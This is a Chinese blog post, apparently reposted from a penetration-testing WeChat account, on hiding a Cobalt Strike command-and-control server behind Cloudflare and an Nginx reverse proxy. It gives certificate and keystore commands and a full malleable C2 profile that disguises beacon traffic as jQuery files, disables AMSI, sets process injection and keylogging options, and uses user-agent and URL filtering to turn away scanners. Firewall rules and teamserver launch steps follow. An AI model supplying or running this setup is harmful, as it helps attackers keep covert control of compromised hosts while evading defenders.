社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  NGINX

CDN+Nginx反向代理来隐藏c2地址

渗透安全团队 • 1 年前 • 361 次点击  

思路:

CDN:通过借助CDN和Nginx反向代理和HTTPS来隐藏真实c2服务器 Nginx反向代理:通过Nginx对外部流量转发到本地,再设置防火墙只允许localhost访问cs端口达到IP白名单的效果

前几步和上篇文章一样

前几步地址

麋鹿,公众号:渗透安全团队CDN和域名隐藏C2地址 | 干货


第五步:配置TLS证书

1.更改cloudflare配置SSL/TLS加密模式为完全

2.在SSL/TLS——源服务器选项中生成一个新的证书,配置默认即可。生成cloudflare的pem和key文件,分别保存为cf.pem和cf.key,并上传至cs服务器

3.生成p12证书文件:

openssl pkcs12 -export -in cf.pem -inkey cf.key -out spoofdomain.p12 -name 你自己的域名 -passout pass:自己设置一个密码

生成.store格式文件
keytool -importkeystore -deststorepass 刚才设置的密码 -destkeypass 刚才设置的密码 -destkeystore cf.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 刚才设置的密码

运用cs的自带工具检查store有效性:
keytool -list -v -keystore cf.store

看到cf相关证书即成功:

这里解释一下为什么要生成新证书,cs自带证书为cobaltstrike.store,这个证书只用于服务端和客户端通讯。ssl.store证书用于HTTPS通信。这两个默认的证书存在cs的指纹信息


第六步:编写profile文件

cs的http相关流量特征可以根据profile文件改变,如果用默认的启动cs,通讯流量会十分明显,所以这一步是为了更改HTTPS的Beacon上线机器用的证书,还是为了消除特征

github中有很多profile案例,但现在的C2扫描器会针对常用的几个profile直接扫描,建议自行设置一个复杂的url路径。而且还会对ua进行过滤

set sample_name "kris_abao";
set sleeptime "12000"; #默认睡眠时间set host_stage "false"; #设置不允许stage模式set jitter "60"; #时间抖动值(0~99)set data_jitter "60"; #数据抖动值(0~99)set useragent "自己挑一个合适的ua"; #这里的ua建议选择一个稍微独特一点的,方便之后nginx过滤
set pipename "mojo.5688.8052.183894939787088877##";set pipename_stager "mojo.5688.8052.35780273329370473##";set tcp_frame_header "\x80";set smb_frame_header "\x80";
code-signer{   set keystore "cf.store";刚刚生成的/证书名字 set password "刚才设置的store密码"; set alias "第一步配置的cf域名";}
https-certificate {#配置ssl set CN "sni.cloudflaressl.com"; set O "Cloudflare"; set L "San Francisco"; set C "US";}
http-config { set headers "Server, Content-Type, Cache-Control, Connection"; header "Connection" "close"; header "Cache-Control" "max-age=2"; header "Server" "nginx"; #记录xff值,方便cdn过来时还能记录真实ip set trust_x_forwarded_for "true"; #can set whether you want to remove the UA that teamserver blocks by default set block_useragents "curl*,lynx*,wget*";}
http-get {
set uri "/js/jquery-3.3.1.min.js"; #这里可以自行更改一个复杂的路径 set verb "GET"; client { header "Accept" "*/*"; header "Accept-Language" "zh-CN,zh;q=0.8,zh-TW;"; metadata { base64url; prepend "https://www.google.com/what?indextype=1&__cfduid="; header "Referer"; } }
server { header "Content-Type" "application/*; charset=utf-8"; header "content-transfer-encoding" "binary"; output { base64; prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\r!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.7.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.7.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&nboolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);sjQuery\"+(\"3.7.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\" function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;rfunction\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n\r"; append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } }}http-stager { set uri_x86 "/js/jquery-3.3.1.slim.min.js"; set uri_x64 "/js/jquery-3.3.2.slim.min.js"; server { header "Content-Type" "application/*; charset=utf-8"; header "content-transfer-encoding" "binary"; output { prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\r!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.7.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.7.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&nboolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);sjQuery\"+(\"3.7.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;rfunction\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\ ".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n\r"; append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } }
client { header "Accept" "text/html,application/xml;"; header "Accept-Encoding" "gzip, deflate"; header "Content-Type" "application/*; charset=utf-8"; header "content-transfer-encoding" "binary"; }}http-post { set uri "/post"; #自行更改一个复杂的路径 set verb "POST"; client { header "Accept" "*/*"; header "Accept-Language" "zh-CN,zh;q=0.8,zh-TW;"; id { base64; prepend "https://www.google.com/what?indextype=1&__cfduid="; header "Referer"; } output { base64url; print; } }
server { header "Content-Type" "application/*; charset=utf-8"; header "content-transfer-encoding" "binary"; output { mask; base64url;
# 1st Line prepend "{200}\r"; append "/*! Upload succeeded */"; print; } }}

process-inject { set allocator "NtMapViewOfSection"; set min_alloc "17500"; set startrwx "false"; set userwx "false"; transform-x86 { prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; #append "\x90\x90"; } transform-x64 { prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; #append "\x90\x90";} execute { CreateThread "ntdll.dll!RtlUserThreadStart+0x2285"; NtQueueApcThread-s; SetThreadContext; CreateRemoteThread; CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; RtlCreateUserThread; }}

post-ex { set spawnto_x86 "%windir%\\syswow64\\dllhost.exe"; set spawnto_x64 "%windir%\\sysnative\\dllhost.exe"; set obfuscate "true"; set smartinject "true"; set amsi_disable "true"; set pipename "Winsock2\\CatalogChangeListener-###-0,"; set keylogger "GetAsyncKeyState";}

编写完成之后,记得检查编写的profile文件是否有效:
./c2lint cf.profile


第七步:配置nginx代理转发

到这一步为止,基本特征已经消除,但是在Payload上线、Beacon监听、会话回连等过程中,Beacon的Listener被主动扫描、流量触发WAF/IDS规则都可能让C2服务器难逃被标记的命运,这时代理转发就用来过滤互联网上的c2扫描器

(这里科普一下,Beacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。)

利用nginx反向代理的特性,把所有不符合cs的profile文件请求都给拒掉,在杜绝cs服务器未授权访问漏洞的同时,也大大增强了隐蔽性。这里我们除了针对url过滤之外,同时也强制要求ua相同才可以访问

7.1安装docker


yum -y updateyum install -y yum-utils device-mapper-persistent-data lvm2yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoyum list docker-ce --showduplicates | sort -ryum install docker-ce-19.03.15-3 docker-ce-cli-19.03.15-3 containerd.iosystemctl start docker


2、拉取nginx镜像docker pull nginx
3、docker启动nginx:docker run -d -p 443:443 --add-host=host.docker.internal:host-gateway nginx
注意这里的-add-host=host.docker.internal:host-gateway不能漏,否则docker容器里会无法转发到我们实体机上的cs服务器。
4、复制之前的证书到nginx容器中:
docker cp cf.pem 容器id:/etc/nginx/cf.pem
docker cp cf.key 容器id:/etc/nginx/cf.key
5、进入nginx容器docker exec -it 刚才启动的容器id /bin/bash
6、编辑/etc/nginx/conf.d/default.conf,原来的全删了,写入:(我这里直接cp的)

server {    listen 443 ssl http2;    ssl_certificate /etc/nginx/cf.pem;    ssl_certificate_key /etc/nginx/cf.key;    #ssl_verify_client on;    #下面写profile中get的url路径    location ~*/js/jquery {        #start with jquery        #下面写上profile中配置的ua        if ($http_user_agent != "profile中设置的useragent") {return 302;}


    
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;        proxy_pass  https://host.docker.internal:2095;        }    #下面写profile中的post的url路径    location ~*/post {        #start with jquery        #下面写上profile中配置的ua        if ($http_user_agent != "profile中设置的useragent") {return 302;}        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;        proxy_pass  https://host.docker.internal:2095;        }        #重定向其他所有请求,防止扫描器扫描        location / {        proxy_pass  https://www.google.com/;        }
}

7、重启容器docker restart 容器id

这一步nginx将443的端口流量转发到了2095端口,如下图,2095就是监听端口

第八步:防火墙配置

运用iptables配置防火墙,限制cs监听端口只能被本机访问,注意对外决不能暴露真实监听端口:
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 2095 -j ACCEPT
iptables -A INPUT -s 172.17.0.0/16 -p tcp --dport 2095 -j ACCEPT
iptables -A INPUT -p tcp --dport 2095 -j DROP

九:启动cs服务器,测试效果:

修改一下teamserver的登录端口,默认的50050端口太容易被发现:
编辑文件中最后一行,主要是更改server_port、keyStore和keyStorePassword:
./TeamServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cf.store -Djavax.net.ssl.keyStorePassword=123456 teamserver $*

启动cs服务端:
./teamserver 服务器真实IP cs登录密码 cf.profile &
创建监听器的时候

最后说一下可能踩坑的地方

  1. cloudflare里面SSL/TLS加密模式没有设置为完全

  2. cloudflare的缓存没关

  3. profile写错了

  4. docker启动nginx没有加-add-host=host.docker.internal:host-gateway.导致没有转发

  5. teamserve没改

  6. 配置完nginx要重启

希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加群与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。




付费圈子


欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员


进成员内部群





星球的最近主题和星球内部工具一些展示





加入安全交流群


                               


关 注 有 礼



关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!






干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/165530
 
361 次点击